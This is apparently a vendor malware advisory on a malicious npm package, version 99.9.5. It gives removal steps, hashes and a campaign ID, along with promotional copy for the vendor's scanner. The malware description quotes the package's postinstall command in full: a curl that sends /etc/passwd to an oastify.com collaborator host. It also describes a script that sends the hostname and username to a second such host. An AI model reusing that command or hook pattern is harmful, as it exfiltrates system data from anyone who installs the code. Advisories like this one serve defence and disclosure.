Which versions of @easy-entry/outside-registration-fop-navigator are malicious?

The following npm versions of @easy-entry/outside-registration-fop-navigator are flagged malicious: 99.9.5. Treat any of these as compromised.

I already installed @easy-entry/outside-registration-fop-navigator — how do I know if it already compromised me?

If @easy-entry/outside-registration-fop-navigator was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @easy-entry/outside-registration-fop-navigator part of a known attack campaign?

Yes — @easy-entry/outside-registration-fop-navigator is associated with the IN-MAL-2026-005025, IN-MAL-2026-005026, GHSA-v26v-7c7g-w7gf, RLMA-2026-05859 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @easy-entry/outside-registration-fop-navigator across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @easy-entry/outside-registration-fop-navigator (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @easy-entry/outside-registration-fop-navigator across your stack and pipelines.

Malicious package

@easy-entry/outside-registration-fop-navigatornpm

@easy-entry/outside-registration-fop-navigator is a confirmed malicious npm package (MAL-2026-5409) that executes malicious code on install (malicious version 99.9.5). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @easy-entry/outside-registration-fop-navigator (npm)

MAL-2026-5409

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @easy-entry/outside-registration-fop-navigator

What this malware does

On npm install, package.json's postinstall hook executes node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, sending the installer's /etc/passwd contents and hostname to a Burp Collaborator subdomain. In parallel, scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues a fetch to http://<hex>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com, leaking installer host identity through DNS/HTTP to the attacker. Both behaviors fire automatically and unconditionally on default install.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

99.9.5

Indicators of compromise (SHA-256)

04091b4e3c6018586c8ba0c6106ff9177090d0776d1a723d041a76d67b1c8f2b

8f3fde652e3e14c71950b1c929e0be830c9e81c44378a2e625e6e9bfea8ab8f6

c0c0fa6aea40d192f6486dbb7c8ec037488db4eed85b0f64b027d141d92e7ee9

f7d5ef963b75633c2d995aba266ba7069de535cc285dc7dc5afe224b2170f74a

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @easy-entry/outside-registration-fop-navigator (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @easy-entry/outside-registration-fop-navigator across your stack and pipelines.
If you installed it — respond
Remove @easy-entry/outside-registration-fop-navigator from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @easy-entry/outside-registration-fop-navigator was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @easy-entry/outside-registration-fop-navigator before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @easy-entry/outside-registration-fop-navigator on npm has been identified as a malicious package (version 99.9.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005025IN-MAL-2026-005026GHSA-v26v-7c7g-w7gfRLMA-2026-05859

References

Credits

Amazon Inspector · finder
ReversingLabs · finder

Detect & block this

O3 blocks @easy-entry/outside-registration-fop-navigator-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database